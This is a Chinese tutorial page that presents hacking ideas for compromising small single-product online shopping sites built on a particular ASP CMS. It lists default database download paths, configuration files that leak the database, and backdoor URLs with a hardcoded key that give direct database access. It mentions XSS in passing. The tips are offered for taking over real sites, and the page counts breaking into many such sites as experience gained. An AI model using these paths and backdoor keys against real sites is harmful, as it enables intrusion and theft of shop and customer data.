网站地图    收藏   

主页 > 后端 > 网站安全 >

在线订单站的一些渗透思路和后门 - 网站安全

来源:自学PHP网    时间:2015-04-17 13:02 作者: 阅读:

[导读] 作者:黑面上现在出现了很多单页面单产品的在线网购站,很多童鞋看了认为很难下手,完全没有思路,其实有的站还是很简单的,我大概总结下我碰到的一些漏洞和后门。ASP的站基本...

作者:黑面

上现在出现了很多单页面单产品的在线网购站,很多童鞋看了认为很难下手,完全没有思路,其实有的站还是很简单的,我大概总结下我碰到的一些漏洞和后门。

ASP的站基本都是用套叫企业通用管理系统XP版的程序做的。

1.默认数据库

/data/data.asp
/data/data.mdb

2.暴库

/inc/conn.asp
/inc/lconn.asp
/admin/conn.asp
/admin/lconn.asp

3.后门(都是可以直接访问数据库的)

/int/md5s.asp

\
/admin/admin_Md5.asp?key5=232265

这个页面时加密了的,解密后

\

4.XSS

冒失也存在XSS,但本人对XSS一直没啥研究,会的自己看代码本地测试吧,希望有大牛能发出来指点下。

5.经验

还有一部分更重要的就是多拿多看程序能积累一定的经验,同类程序拿多了就肯定会更顺手点。

当然还有很多直接用邮箱转发到别的邮箱了的,也有用PHP订单程序做的。以后再介绍了的~

自学PHP网专注网站建设学习,PHP程序学习,平面设计学习,以及操作系统学习

京ICP备14009008号-1@版权所有www.zixuephp.com

网站声明:本站所有视频,教程都由网友上传,站长收集和分享给大家学习使用,如由牵扯版权问题请联系站长邮箱904561283@qq.com

添加评论